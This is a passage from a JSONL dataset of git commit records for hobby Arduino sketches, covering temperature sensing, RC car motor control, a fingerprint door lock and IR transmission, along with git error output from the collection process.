data\n delay(1);\n \/\/ Close the connection:\n client.stop();\n }\n}\n\n\/**\n * Reads the voltage from TMP36 sensor.\n * Returns the temperature in degrees Celsius.\n *\/\nfloat readTemperature() {\n float voltage = (analogRead(insideTempPin) \/ 1024.0) * 5.0;\n return (voltage - 0.5) * 100;\n}\n\n\/\/ The code below is from https:\/\/www.allaboutcircuits.com\/projects\/measuring-temperature-with-an-ntc-thermistor\/\n\/**\nThis function reads the analog pin as shown below. Converts voltage signal\nto a digital representation with analog to digital conversion. However, this is\ndone multiple times so that we can average it to eliminate measurement errors.\nThis averaged number is then used to calculate the resistance of the thermistor.\nAfter this, the resistance is used to calculate the temperature of the\nthermistor. Finally, the temperature is converted to celsius. Please refer to\nthe allaboutcircuits.com article for the specifics and general theory of this\nprocess.\n\nQuick Schematic in case you are too lazy to look at the site :P\n\n (Ground) ----\\\/\\\/\\\/-------|-------\\\/\\\/\\\/---- V_supply\n R_balance | R_thermistor\n |\n Analog Pin\n*\/\ndouble readThermistor() {\n \/\/ variables that live in this function\n double rThermistor = 0; \/\/ Holds thermistor resistance value\n double tKelvin = 0; \/\/ Holds calculated temperature\n double tCelsius = 0; \/\/ Hold temperature in celsius\n double adcAverage = 0; \/\/ Holds the average voltage measurement\n int adcSamples[SAMPLE_NUMBER]; \/\/ Array to hold each voltage measurement\n\n \/* Calculate thermistor's average resistance:\n As mentioned in the top of the code, we will sample the ADC pin a few times\n to get a bunch of samples. A slight delay is added to properly have the\n analogRead function sample properly *\/\n\n for (int i = 0; i < SAMPLE_NUMBER; i++) {\n adcSamples[i] = analogRead(thermistorPin); \/\/ read from pin and store\n delay(10); \/\/ wait 10 milliseconds\n }\n\n \/* Then, we will simply average all of those samples up for a \"stiffer\"\n measurement. *\/\n for (int i = 0; i < SAMPLE_NUMBER; i++) {\n adcAverage += adcSamples[i]; \/\/ add all samples up . . .\n }\n adcAverage \/= SAMPLE_NUMBER; \/\/ . . . average it w\/ divide\n\n \/* Here we calculate the thermistor\u2019s resistance using the equation\n discussed in the article. *\/\n rThermistor = BALANCE_RESISTOR * ( (MAX_ADC \/ adcAverage) - 1);\n\n \/* Here is where the Beta equation is used, but it is different\n from what the article describes. Don't worry! It has been rearranged\n algebraically to give a \"better\" looking formula. I encourage you\n to try to manipulate the equation from the article yourself to get\n better at algebra. And if not, just use what is shown here and take it\n for granted or input the formula directly from the article, exactly\n as it is shown. Either way will work! *\/\n tKelvin = (BETA * ROOM_TEMP) \/\n (BETA + (ROOM_TEMP * log(rThermistor \/ RESISTOR_ROOM_TEMP)));\n\n \/* I will use the units of Celsius to indicate temperature. I did this\n just so I can see the typical room temperature, which is 25 degrees\n Celsius, when I first try the program out. I prefer Fahrenheit, but\n I leave it up to you to either change this function, or create\n another function which converts between the two units. *\/\n tCelsius = tKelvin - 273.15; \/\/ convert kelvin to celsius\n\n return tCelsius; \/\/ Return the temperature in Celsius\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tempserver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c832c4d626b5251ba339061fee26f8b515d97e4","subject":"Added Arduino Firmware","message":"Added Arduino Firmware\n","repos":"Janujan\/RCduino","old_file":"rcCarFirmware\/rcCarFirmware.ino","new_file":"rcCarFirmware\/rcCarFirmware.ino","new_contents":"#include <CommandHandler.h>\n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n\n#define turnSpeed 150\n#define turnDelay 500\n#define stopDelay 500\n#define debug\nint currentSpeed = 0;\n#define maxSpeed 150\n#define FORWARDMOTOR 4\n#define TURNMOTOR 1\n\n\/\/ Create the motor shield object with the default I2C address\nAdafruit_MotorShield AFMS = Adafruit_MotorShield();\n\/\/ Or, create it with a different I2C address (say for stacking)\n\/\/ Adafruit_MotorShield AFMS = Adafruit_MotorShield(0x61);\n\n\/\/ Select which 'port' M1, M2, M3 or M4. In this case, M1\nAdafruit_DCMotor *myMotor = AFMS.getMotor(1);\nAdafruit_DCMotor *backMotor = AFMS.getMotor(4);\n\/\/ You can also make another motor on port M2\n\/\/Adafruit_DCMotor *myOtherMotor = AFMS.getMotor(2);\n\nCommandHandler ch;\n\n\nvoid setup() {\n Serial.begin(9600); \n ch.begin(); \n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/readCommand();\n Serial.println(\"I am ready\");\n while(Serial.available()){\n \/\/parseCommand();\n readCommand();\n }\n \n}\n\n\/\/--------------------------Turning Motor-------------------------------\n\/\/Green left, blue right\n\/\/Default for turning right\n\nvoid turn( char direct )\n{\n if ( direct == 'r' )\n {\n myMotor->run(FORWARD);\n }\n else {\n myMotor->run(BACKWARD);\n }\n myMotor->setSpeed(turnSpeed);\n}\n\n\n\/\/Stop Turning\nvoid stopTurn() {\n myMotor->run(RELEASE);\n delay(stopDelay);\n}\n\n\/\/----------------------Movement Motor---------------------------------\n\n\/\/Move forward while ramping speed\nvoid moveForward( char direct ) {\n if (direct == 'f')\n {\n backMotor->run(FORWARD);\n\n for (currentSpeed = 0; currentSpeed < maxSpeed; currentSpeed++) {\n backMotor->setSpeed(currentSpeed);\n }\n }\n else\n {\n backMotor->run(BACKWARD);\n\n for (currentSpeed = 0; currentSpeed < maxSpeed; currentSpeed++) {\n backMotor->setSpeed(currentSpeed);\n }\n\n }\n\n}\n\n\n\/\/Stop moving the back motor\nvoid stopMovement( ) {\n\n for ( currentSpeed = maxSpeed; currentSpeed > 0; currentSpeed--) {\n backMotor->setSpeed(currentSpeed);\n }\n\n delay(stopDelay);\n\n}\n\n\n\/\/---------------------------------Communicating with the Arduino using commands--------------------------------------\n\/\/LEGACY CODE DONT TOUCH\nvoid readCommand( ) {\n\n char command = Serial.read( );\n\n switch (command) {\n case 'f':\n moveForward(command);\n break;\n\n case 'b':\n \/\/moveBackward(command);\n break;\n\n case 'r':\n \/\/turnRight();\n break;\n\n case 'l':\n \/\/turnLeft();\n break;\n\n case 's':\n stopMovement();\n break;\n\n case 'i':\n stopTurn();\n break;\n }\n\n}\n\n\n\/\/------------------------FLOW---------------------------------\n\/*\n 1. Read the Serial through parseCommand\n 2. Parse the motor, direction and delay\n 3. Send to commandHandler\n 4. commandHandler executes the program.\n\n\n*\/\n\n\/\/Parse the command sent in to the appropriate motor\n\/*\n Pattern:\n \"#\/x\/time.\"\n # is for motor number (1 is turn, 4 is back)\n x is for command: [f,b,r,l]\n time is in milliseconds, 4 digits\n\n*\/\nvoid parseCommand( )\n{\n String command = Serial.readString();\n\n if (command == NULL) {\n return;\n }\n\n \/\/String command = \"1f1000\";\n \/\/End of the char array is always the null character \\0\n char actualCommands[7];\n command.toCharArray(actualCommands, 7);\n int motor = actualCommands[0] - '0';\n char direct = actualCommands[1];\n String delayTime;\n\n for (int i = 2; i < 7; i++)\n {\n delayTime.concat(actualCommands[i]);\n }\n int parsedTime = delayTime.toInt();\n \/\/commandHandler(motor, direct, delayTime.toInt());\n\n #ifdef debug\n Serial.print(\"Motor: \");\n Serial.print(motor);\n Serial.print(\" Direction: \");\n Serial.print(direct);\n Serial.print(\" Delay :\");\n Serial.println(parsedTime);\n #endif\n \n ch.sendCommand( motor, direct, parsedTime);\n}\n\n\n\/* LEGACY CODE DO NOT TOUCH\nvoid commandHandler( int motor, char direct, int delayTime )\n{\n if ( direct == 's' )\n {\n stopMovement();\n }\n else {\n if (motor == FORWARDMOTOR)\n {\n moveForward(direct);\n delay(delayTime);\n }\n else if (motor == TURNMOTOR)\n {\n turn(direct);\n delay(delayTime);\n\n }\n else {\n Serial.println(\"error in commandHandler\");\n return;\n }\n }\n\n}\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rcCarFirmware\/rcCarFirmware.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dce2605395d49a037ba72fd671c2cdc61ea11c12","subject":"Basic sanity check using the serial monitor","message":"Basic sanity check using the serial monitor\n","repos":"GeoffSpielman\/Hackathin_Examples","old_file":"Python_To_Arduino_Communication\/Sanity_Check\/Sanity_Check.ino","new_file":"Python_To_Arduino_Communication\/Sanity_Check\/Sanity_Check.ino","new_contents":"String inputString = \"\";\nbool recMessage = false;\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/wait for some serial connection\n while (!Serial);\n Serial.println(\"--- Serial Connection Established ---\");\n}\n\nvoid loop() {\n \/\/consume everything in the serial buffer\n while (Serial.available())\n { \n char inChar = Serial.read();\n if (inChar != '~'){\n inputString += inChar;\n }\n else{\n recMessage = true;\n } \n }\n \n if (recMessage){\n Serial.print(\"Arduino received: \");\n Serial.println(inputString);\n inputString = \"\";\n recMessage = false;\n } \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Python_To_Arduino_Communication\/Sanity_Check\/Sanity_Check.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3bb79022d5fb494ecbb90ebbd0605ddd67d7cf5","subject":"fix bugs","message":"fix bugs","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"723286b1609f8cbbe48314810e87bf99aac24b7b","subject":"Add databaseAppendAllRecords()","message":"Add databaseAppendAllRecords()","repos":"TheGum\/Arduino-Elevator-Chip-System","old_file":"Arduino_Elevetor_Chip_System.ino","new_file":"Arduino_Elevetor_Chip_System.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheGum\/Arduino-Elevator-Chip-System.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3c757992e5de82271d5f2b557cdc6983a3c3f590","subject":"Add the arduino file","message":"Add the arduino file\n\nAdd the arduino file that supports fingerprint capture","repos":"mikemacharia39\/gatepass,mikemacharia39\/gatepass","old_file":"without_sep_start_end_stream.ino","new_file":"without_sep_start_end_stream.ino","new_contents":"const int lock=9;\nconst int led =13;\nint id = 0;\nint button=4;\nboolean doorState=false;\n\n\n#include <Adafruit_Fingerprint.h>\n#include <SoftwareSerial.h>\n#include <EEPROM.h>\n\n\/\/this is the program we shall be using\n\/\/his too\nint getFingerprintIDez();\n\n\/\/ pin #2 is IN from sensor (GREEN wire)\n\/\/ pin #3 is OUT from arduino (WHITE wire)\nSoftwareSerial mySerial(2, 3);\n\n\nAdafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);\n\nvoid setup() \n{\n pinMode(13, OUTPUT);\n pinMode(button, OUTPUT);\n pinMode(lock, OUTPUT);\n Serial.begin(9600);\n \/\/Serial.println(\"fingertest\");\n\n \/\/ set the data rate for the sensor serial port\n finger.begin(57600);\n \n if (finger.verifyPassword()) {\n \/\/Serial.println(\"Found fingerprint sensor!\");\n } else {\n \/\/Serial.println(\"Did not find fingerprint sensor :(\");\n while (1);\n }\n \/\/Serial.println(\"Waiting for valid finger...\");\n}\n\nvoid loop() \/\/ run over and over again\n{\n \/\/ Serial.println(\"Type in the ID # you want to save this finger as...\");\nint condition=0;\nchar c;\n \/\/you can replace with this later => condition=(digitalRead(button)) \n \n if(condition=(Serial.available()>0))\n {\n id=(EEPROM.read(1)+1);\n getFingerprintEnroll(id);\n Serial.end();\n Serial.begin(9600);\n }\n else\n {\n getFingerprintID();\n delay(50); \/\/don't ned to run this at full speed.\n }\n}\n\nuint8_t getFingerprintID() \n{\n uint8_t p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n \/\/Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n \/\/Serial.println(\"0\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"IE\");\/\/IE- IMAGING ERROR\n return p;\n default:\n \n Serial.print(\"UE\");\n \n Serial.println(\"\");\n return p;\n \n }\n\n \/\/ OK success!\n\n p = finger.image2Tz();\n switch (p) {\n case FINGERPRINT_OK:\n \/\/Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n default:\n Serial.println(\"UE\");\/\/Unknown Error\n return p;\n }\n \n \/\/ OK converted!\n p = finger.fingerFastSearch();\n if (p == FINGERPRINT_OK) \n {\n \/\/To find a print match\n \/\/Serial.println(\"Found a print match!\");\n digitalWrite(13, HIGH);\n delay(300);\n digitalWrite(13, LOW);\n } \n else if (p == FINGERPRINT_PACKETRECIEVEERR) \n {\n Serial.println(\"Communication error\");\n return p;\n } \n else if (p == FINGERPRINT_NOTFOUND) \n {\n \/\/no match found\n Serial.print(\"\");\n \n Serial.print(\"NM\");\/\/NO MATCH\n \n Serial.println(\"\");\n \n digitalWrite(13, HIGH);\n delay(150);\n digitalWrite(13, LOW);\n delay(150);\n digitalWrite(13, HIGH);\n delay(150);\n digitalWrite(13, LOW);\n return p;\n \n }\n else \n {\n Serial.println(\"UE\");\n return p;\n } \n \n \/\/ found a match!\n \/\/Serial.println(\"Found ID #\"); \n Serial.print(\"\"); \n \n Serial.print(finger.fingerID); \n \n Serial.println(\"\");\n \/\/confidence\n \/\/Serial.println(finger.confidence); \n doorLock(); \n}\n\n\/\/ returns -1 if failed, otherwise returns ID #\nint getFingerprintIDez() {\n uint8_t p = finger.getImage();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.image2Tz();\n if (p != FINGERPRINT_OK) return -1;\n\n p = finger.fingerFastSearch();\n if (p != FINGERPRINT_OK) return -1;\n \n \/\/ found a match!\n Serial.print(\"Found ID #\"); \n Serial.print(\" \"+finger.fingerID); \n Serial.print(\" with confidence of \"); Serial.println(finger.confidence);\n return finger.fingerID; \n \n}\nvoid doorLock(){\n if(doorState==false){\n digitalWrite(lock, HIGH);\n doorState=true;\n delay(2500);\n digitalWrite(lock, LOW);\n }\n}\n\n\nuint8_t getFingerprintEnroll(int id) \n{\n Serial.print(\"\");\n \n Serial.print(\"NW\");\/\/ NW-Expected id of next enrolling finger\n \n Serial.println(\"\");\n \n \n Serial.print(id);\n \n Serial.println(\"\");\n \n int p = -1;\n \/\/waiting to enroll finger\n Serial.print(\" \"); \n \n Serial.print(\"WF\");\/\/WF - waiting to enroll finger\n \n Serial.println(\"\");\n \n while (p != FINGERPRINT_OK) \n {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n \/\/mike when image is taken\n \/\/Serial.println(\"Image taken\");\n break;\n case FINGERPRINT_NOFINGER:\n \/\/ Serial.println(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"IE\");\/\/Imaging error\n break;\n default:\n \/\/mike When error is unknown\n \/\/Serial.println(\"Unknown error\");\n break;\n \n }\n }\n \/\/ OK success!\n\n p = finger.image2Tz(1);\n switch (p) {\n case FINGERPRINT_OK:\n \/\/mike when image is converted\n \/\/ Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n default:\n Serial.println(\"UE\"); \/\/ Unknown Error\n return p;\n }\n \/\/mike remove finger\n Serial.print(\"\");\n \n Serial.print(\"RF\"); \/\/ RF - remove finger\n \n Serial.println(\"\");\n \n delay(2000);\n p = 0;\n while (p != FINGERPRINT_NOFINGER) {\n p = finger.getImage();\n }\n\n p = -1;\n \/\/mike place the same finger again\n Serial.print(\"\");\n \n Serial.print(\"PF\");\/\/PF - place the same finger again\n \n Serial.println(\"\");\n \n while (p != FINGERPRINT_OK) {\n p = finger.getImage();\n switch (p) {\n case FINGERPRINT_OK:\n \/\/mike image taken\n Serial.print(\"\");\n \n Serial.print(\"IT\"); \/\/IT - Image Taken\n \n Serial.println(\"\");\n break;\n case FINGERPRINT_NOFINGER:\n \/\/Serial.print(\".\");\n break;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n break;\n case FINGERPRINT_IMAGEFAIL:\n Serial.println(\"Imaging error\");\n break;\n default:\n \n Serial.print(\"UE\");\n \n Serial.println(\"\");\n \n break;\n }\n }\n\n \/\/ OK success!\n\n p = finger.image2Tz(2);\n switch (p) {\n case FINGERPRINT_OK:\n \/\/mike image converted\n \/\/Serial.println(\"Image converted\");\n break;\n case FINGERPRINT_IMAGEMESS:\n Serial.println(\"Image too messy\");\n return p;\n case FINGERPRINT_PACKETRECIEVEERR:\n Serial.println(\"Communication error\");\n return p;\n case FINGERPRINT_FEATUREFAIL:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n case FINGERPRINT_INVALIDIMAGE:\n \n Serial.print(\"Could not find fingerprint features\");\n \n Serial.println(\"\");\n return p;\n default:\n Serial.println(\"UE\");\/\/ UE - Unknown error\n return p;\n }\n \n \n \/\/ OK converted!\n p = finger.createModel();\n if (p == FINGERPRINT_OK) \n {\n \/\/mike when prints have matched during taking the finger print comparison\n Serial.print(\"\");\n \n Serial.print(\"PM\");\/\/PM - Prints Matched\n \n Serial.println(\"\");\n \/\/return p;\n } \n else if (p == FINGERPRINT_PACKETRECIEVEERR) \n {\n Serial.println(\"Communication error\");\n return p;\n } \n else if (p == FINGERPRINT_ENROLLMISMATCH) \n {\n \/\/this is to show finger prints did not match when comparing the two finger prints during registration\n \/\/mike Fingerprints did not match\n Serial.println(\"FN\");\/\/ FN -Finger prints did not match\n return p;\n } \n else \n {\n Serial.println(\"UE\");\/\/Unknown error\n return p;\n } \n Serial.print(\"\");\n \n \/\/This is the id is ** part of the program\n \/\/Serial.print(\"ID\");\n \n \/\/Serial.println(\"\");\n\n Serial.print(\"IS\");\n Serial.println(\"\");\n \n id=0; \n id=EEPROM.read(1)+1;\n Serial.print(\" \");\n \n Serial.print(id);\n \n Serial.println(\"\");\n \n p = finger.storeModel(id);\n \n if (p == FINGERPRINT_OK) \n {\n \/\/This is to store the image, in my case it will show the id of the finger print\n \/\/Serial.println(\"Stored!\");\n EEPROM.write(1, id);\n } \n else if (p == FINGERPRINT_PACKETRECIEVEERR) \n {\n Serial.println(\"Communication error\");\n return p;\n } \n else if (p == FINGERPRINT_BADLOCATION) \n {\n Serial.println(\"Could not store in that location\");\n return p;\n } \n else if (p == FINGERPRINT_FLASHERR) \n {\n Serial.println(\"Error writing to flash\");\n return p;\n } else \n {\n \n Serial.print(\"UE\");\n \n Serial.println(\"\");\n return p;\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'without_sep_start_end_stream.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fe0c8b98e8216c2ef498c238be9ccf15b95c2d2a","subject":"preliminary version of arduino code","message":"preliminary version of arduino code\n","repos":"zvikabh\/RCCarController,zvikabh\/RCCarController","old_file":"Arduino\/rccar\/rccar.ino","new_file":"Arduino\/rccar\/rccar.ino","new_contents":"#include \"DualVNH5019MotorShield.h\"\n \nDualVNH5019MotorShield md;\n\nvoid setup() {\n Serial.begin(19200);\n Serial.setTimeout(3000);\n md.init();\n}\n\nvoid stopMotors() {\n md.setSpeeds(0, 0);\n}\n\nvoid loop() {\n int i;\n int dataPos;\n byte receivedData[12];\n \n int bytesReceived = Serial.readBytes(receivedData, 8);\n if (bytesReceived < 8) {\n \/\/ Incomplete or missing communications.\n \/\/ Stop motors and wait for valid message.\n stopMotors();\n return;\n }\n \n \/\/ Copy first 4 bytes to end of array, to make it easier\n \/\/ to search for the sync bytes.\n for (i = 0; i < 4; i++) {\n receivedData[8 + i] = receivedData[i];\n }\n \n \/\/ Find sync bytes.\n for (i = 0; i < 8; i++) {\n if (receivedData[i] == 0x7f &&\n receivedData[i+1] == 0x7f &&\n receivedData[i+2] == 0x80 &&\n receivedData[i+3] == 0x80) {\n \/\/ Found sync bytes.\n dataPos = (i+4)%8;\n break;\n }\n }\n \n if (i == 8) {\n \/\/ Sync bytes not found. Wait for a valid message.\n stopMotors();\n return;\n }\n \n \/\/ Valid message found. Decode it and send to motor.\n short leftPos = receivedData[dataPos] |\n (((short)receivedData[dataPos+1]) << 8);\n short rightPos = receivedData[dataPos+2] |\n (((short)receivedData[dataPos+3]) << 8);\n md.setSpeeds(rightPos, leftPos);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/rccar\/rccar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cad9cd11401d76dc280aa0ac73ee9332d6320b81","subject":"Implmented TTA and refactored byte sending method","message":"Implmented TTA and refactored byte sending method\n","repos":"paulmoon\/csc460,paulmoon\/csc460,paulmoon\/csc460","old_file":"CSC_460_-_Jan_23.ino","new_file":"CSC_460_-_Jan_23.ino","new_contents":"#include <scheduler.h>\r\n\r\n\r\n\/\/ constants won't change. They're used here to \r\n\/\/ set pin numbers:\r\nconst int button_pin = 2;\r\nconst int servo_x_pin = 0;\r\nconst int servo_out_pin = 9;\r\nconst int IR_pin = 13;\r\n\r\nvolatile unsigned bit_seq = 0; \/\/ Byte we're trying to transmit\r\nvolatile int bit_index = 0; \/\/ Index of byte b we're comparing against.\r\n\r\nvoid setupTimer3(){\r\n \/\/Clear timer config.\r\n TCCR3A = 0;\r\n TCCR3B = 0; \r\n \/\/Set to CTC (mode 4)\r\n TCCR3B |= (1<<WGM32);\r\n \r\n \/\/Set prescaller to 1\r\n TCCR3B |= (1<<CS30);\r\n \r\n \/\/Set TOP value (500 us seconds)\r\n OCR3A = 8000;\r\n}\r\n\r\nvoid setupPWMTimer(){\r\n \/\/PWM \r\n \/\/Clear timer config\r\n TCCR1A = 0;\r\n TCCR1B = 0;\r\n TIMSK1 &= ~(1<<OCIE1C);\r\n \/\/Set to Fast PWM (mode 15)\r\n TCCR1A |= (1<<WGM10) | (1<<WGM11);\r\n TCCR1B |= (1<<WGM12) | (1<<WGM13);\r\n \r\n \/\/Enable output C.\r\n TCCR1A |= (1<<COM1C1);\r\n \/\/No prescaler\r\n TCCR1B |= (1<<CS10);\r\n \r\n OCR1A = 420; \/\/38KHz\r\n OCR1C = 210; \/\/50% duty cycle\r\n TCCR1A &= ~(1<<COM1C1); \/\/ have the IR transmitter off at first\r\n}\r\n\r\nvoid check_button(){\r\n \/\/ read the state of the switch into a local variable:\r\n int val = analogRead(button_pin);\r\n if( val < 10 ){\r\n transmit('D'); \r\n }\r\n}\r\n\r\nvoid handle_servo(){\r\n int val = analogRead(servo_x_pin); \/\/ reads the value of the potentiometer (value between 0 and 1023) \r\n val = map(val, 0, 1023, 500, 2500); \/\/ scale it to use it with the servo (value between 0 and 180) \r\n \r\n \/\/http:\/\/www.robotshop.com\/blog\/en\/arduino-5-minute-tutorials-lesson-5-servo-motors-3636\r\n digitalWrite(servo_out_pin,HIGH);\r\n delayMicroseconds(val);\r\n digitalWrite(servo_out_pin,LOW); \r\n}\r\n\r\nvoid transmit(byte _b) {\r\n \/\/ debug\r\n digitalWrite(10, HIGH);\r\n \r\n \/\/ set global values for the interrupt handler \r\n bit_seq = _b;\r\n \r\n \/\/ set the byte sequence to send \r\n \/\/ the 1,0 header bits\r\n bit_seq <<= 2;\r\n bit_seq += 1;\r\n \r\n \/\/ start from lower order bit first\r\n bit_index = 0; \r\n \r\n cli();\r\n \r\n \/\/Enable interupt A for timer 3.\r\n TIMSK3 |= (1<<OCIE3A);\r\n \/\/ Clear interrupt; \r\n TIFR3 |= (1<<OCF3A);\r\n \/\/Set timer to 0 (optional here).\r\n TCNT3 = 0;\r\n \r\n sei();\r\n}\r\n\r\n\/\/ interrupt handler for the IR transmitter\r\nISR(TIMER3_COMPA_vect)\r\n{ \r\n if( bit_index < 10 ){\r\n \/\/ we still have bits to send\r\n \r\n if( (bit_seq & ( 1 << bit_index )) != 0){\r\n \/\/ bit is set to one\r\n \/\/ turn on the IRT\r\n TCCR1A |= (1<<COM1C1);\r\n }else {\r\n \/\/ bit is set to zero\r\n \/\/ turn off the IRT\r\n TCCR1A &= ~(1<<COM1C1); \r\n }\r\n \r\n \/\/ increment the bit index \r\n bit_index++; \r\n }else{\r\n \/\/ all of the bytes have been sent.\r\n \/\/ turn off the IRT\r\n TCCR1A &= ~(1<<COM1C1);\r\n \r\n \/\/ disable this interrupt\r\n TIMSK3 ^= (1<<OCIE3A);\r\n TCNT3 = 0;\r\n \r\n \/\/ debug\r\n digitalWrite(10, LOW); \r\n }\r\n}\r\n\r\nvoid setup() {\r\n pinMode(button_pin, INPUT);\r\n pinMode(servo_x_pin, INPUT);\r\n pinMode(servo_out_pin, OUTPUT);\r\n pinMode(IR_pin, OUTPUT);\r\n Serial.begin(9600);\r\n \r\n setupTimer3(); \r\n setupPWMTimer(); \r\n \r\n Scheduler_Init();\r\n Scheduler_StartTask(0,20,check_button);\r\n Scheduler_StartTask(5,20,handle_servo);\r\n \r\n \/\/ debug pins\r\n pinMode(10, OUTPUT); \r\n\r\n}\r\nvoid idle(uint32_t idle_period){\r\n delay(idle_period); \r\n}\r\n\r\nvoid loop() {\r\n uint32_t idle_period = Scheduler_Dispatch();\r\n if( idle_period){\r\n idle(idle_period); \r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CSC_460_-_Jan_23.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d0490a77b3c8a8e43bcd616a9cf2b2c30ea0e964","subject":"Issue #1 'Moisture Bad Reading' solved","message":"Issue #1 'Moisture Bad Reading' solved\n","repos":"franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt","old_file":"soil_moisture\/soil_moisture.ino","new_file":"soil_moisture\/soil_moisture.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/franciscoalario\/GoldenAnt.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"03e1b6a11951ee1f4017a1439243feee370c8d21","subject":"Added boilerplate","message":"Added boilerplate\n","repos":"crispytronics\/TestRunner","old_file":"boilerplate.ino","new_file":"boilerplate.ino","new_contents":"#include \"TestRunner.h\"\n\n\/*-------------------------------------\n * TESTS\n *------------------------------------*\/\nint i = 0;\nchar test1(char state) {\n if(state == SETUP) {\n \/\/ setup the test here\n }\n if(state == RUN) {\n currentValue(i++);\n delay(250);\n if(i < 3) {\n return -1;\n }\n return 1; \n }\n if(state == TEARDOWN) {\n \/\/ teardown the test here\n }\n}\n\nvoid testSuite(int mode) {\n runTest(\"Test 1\", SECONDS(1), test1);\n}\n\n\/*-------------------------------------\n * SETUP\n *------------------------------------*\/\nvoid setup() {\n \/\/ Serial is needed by TestRunner, initialize it here... \n Serial.begin(9600);\n}\n\n\n\/*-------------------------------------\n * LOOP\n *------------------------------------*\/\nvoid loop() {\n int mode = run();\n\n \/\/ validate mode here if needed\n if(mode >= 0) {\n runSuite(\"My Test Suite\", testSuite, mode);\n } \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'boilerplate.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"82fe8883c42a5df36a1b79b4ba918049b14a4e30","subject":"Add project resources for Mote","message":"Add project resources for Mote\n\nProject resources ships external build files required (primarily\nfor testing)\n","repos":"CloudSevenConsulting\/DustyDuinoPro,CloudSevenConsulting\/DustyDuinoPro","old_file":"projects\/C7C.Atamo.Dusty.Mote_0_0_2\/resources\/Testing\/TU_SH_DpUart_external_op.ino","new_file":"projects\/C7C.Atamo.Dusty.Mote_0_0_2\/resources\/Testing\/TU_SH_DpUart_external_op.ino","new_contents":"#include <SoftwareSerial.h>\n\n\/\/ software serial #2: RX = digital pin 8, TX = digital pin 9\n\/\/ on the Mega, use other pins instead, since 8 and 9 don't work on the Mega\nSoftwareSerial portTwo(8, 9);\n\nvoid setup() {\n\n pinMode(LED_BUILTIN, OUTPUT);\n \n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n\n \/\/ Start each software serial portm\n portTwo.begin(9600);\n\n digitalWrite(LED_BUILTIN, LOW);\n}\n\nvoid loop() {\n\n\n \/\/ Now listen on the second port\n portTwo.listen();\n \/\/ while there is data coming in, read it\n \/\/ and send to 